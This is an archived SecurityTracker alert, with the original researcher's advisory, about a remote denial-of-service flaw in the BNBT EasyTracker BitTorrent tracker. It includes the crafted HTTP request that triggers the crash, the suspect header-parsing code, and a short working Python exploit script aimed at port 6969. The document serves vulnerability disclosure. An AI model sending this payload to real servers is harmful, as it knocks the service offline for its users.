SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


Try our Premium Alert Service
 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service





Category:   Application (File Transfer/Sharing)  >   BNBT EasyTracker Vendors:   bnbteasytracker.sourceforge.net
BNBT EasyTracker Can Be Crashed By Remote Users
SecurityTracker Alert ID:  1014823
SecurityTracker URL:  http://securitytracker.com/id/1014823
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Aug 30 2005
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 7.7r3.2004.10.27 and prior versions
Description:   A vulnerability was reported in BNBT EasyTracker. A remote user can cause denial of service conditions.

A remote user can send a specially crafted HTTP request to the target system to cause the BNBT service to stop responding.

A demonstration exploit request is provided:

GET /index.htm HTTP/1.1\r\n:\r\n\r\n

The vendor was notified on August 22, 2005.

Sowhat reported this vulnerability.

Impact:   A remote user can cause the BNBT service to stop responding.
Solution:   No solution was available at the time of this entry.
Vendor URL:  bnbteasytracker.sourceforge.net/ (Links to External Site)
Cause:   Exception handling error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  BNBT EasyTracker Remote Denial of Service Vulnerability

BNBT EasyTracker Remote Denial of Service Vulnerability

by Sowhat

Last Update:2005.08.30

http://secway.org/advisory/AD20050830.txt

Vendor:

http://bnbteasytracker.sourceforge.net/

Product Affected:

7.7r3.2004.10.27 and below

Overview:

BNBT was written by Trevor Hogan. BNBT is a complete port 
of the original Python BitTorrent tracker to C++ for speed
and efficiency. BNBT also offers many additional features
beyond the original Python BitTorrent tracker, plus it's 
easy to use and customizable. BNBT is covered under the GNU
Lesser General Public License (LGPL).

A Denial of Service vulnerability exists within BNBT which
allows for an attacker to cause the BNBT to stop responding. 

Details:

A specifically crafted HTTP request will cause the BNBT 
Server stop responding.

Sending a request like "GET /index.htm HTTP/1.1\r\n:\r\n\r\n"
will reproduce the problem. It seems that the bug is located
in client.cpp, "//grab headers" section. And it is something
like " 1-2 = -1" and similar to memcpy(-1) ? 

// grab headers

string :: size_type iNewLine = m_strReceiveBuf.find( "\r\n" );
string :: size_type iDoubleNewLine = m_strReceiveBuf.find( "\r\n\r\n" );

strTemp = m_strReceiveBuf.substr( iNewLine + strlen( "\r\n" ), 
iDoubleNewLine - iNewLine - strlen( "\r\n" ) );

while( 1 )
{
string :: size_type iSplit = strTemp.find( ":" );
string :: size_type iEnd = strTemp.find( "\r\n" );

if( iSplit == string :: npos )
{
UTIL_LogPrint( "client warning - malformed HTTP request (bad header)\n" );

break;
}

string strKey = strTemp.substr( 0, iSplit );
string strValue = strTemp.substr( iSplit + strlen( ": " ), iEnd - iSplit - 
strlen( "\r\n" ) );//Bug here ??

rqst.mapHeaders.insert( pair<string, string>( strKey, strValue ) );

strTemp = strTemp.substr( iEnd + strlen( "\r\n" ) );

if( iEnd == string :: npos )
break;
}

However, I am not quite sure about that and it seems that
it is only a D.O.S so I havnt deep into it. 

Exploit:

//BNBTDOS.py
# BNBT EasyTracker Remote D.O.S Exploit
# Bug discoverd and coded by Sowhat
# http://secway.org

# Version 7.7r3.2004.10.27 and below
# the BNBT project: http://bnbteasytracker.sourceforge.net/

import sys
import string
import socket

if (len(sys.argv) != 2):
print "\nUsage: " + sys.argv[0] + " TargetIP\n"
print "##################################################################"
print "# #"
print "# BNBT EasyTracker Remote D.O.S Exploit #"
print "# Bug discoverd and coded by Sowhat #"
print "# http://secway.org #"
print "##################################################################"
sys.exit(0)

host = sys.argv[1]
port = 6969


payload = "GET /index.htm HTTP/1.1\r\n:\r\n\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
s.send(payload)


WORKAROUND:

No WORKAROUND this time.
plz check the vendor's website for update
Maybe there will be a patch later (?)

Vendor Response:

2005.08.22 Vendor notified via Webform,no email found 
2005.08.30 Vendor no response. Advisory Released

"Life is like a bug, Do you know how to exploit it ?"

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2018, SecurityGlobal.net LLC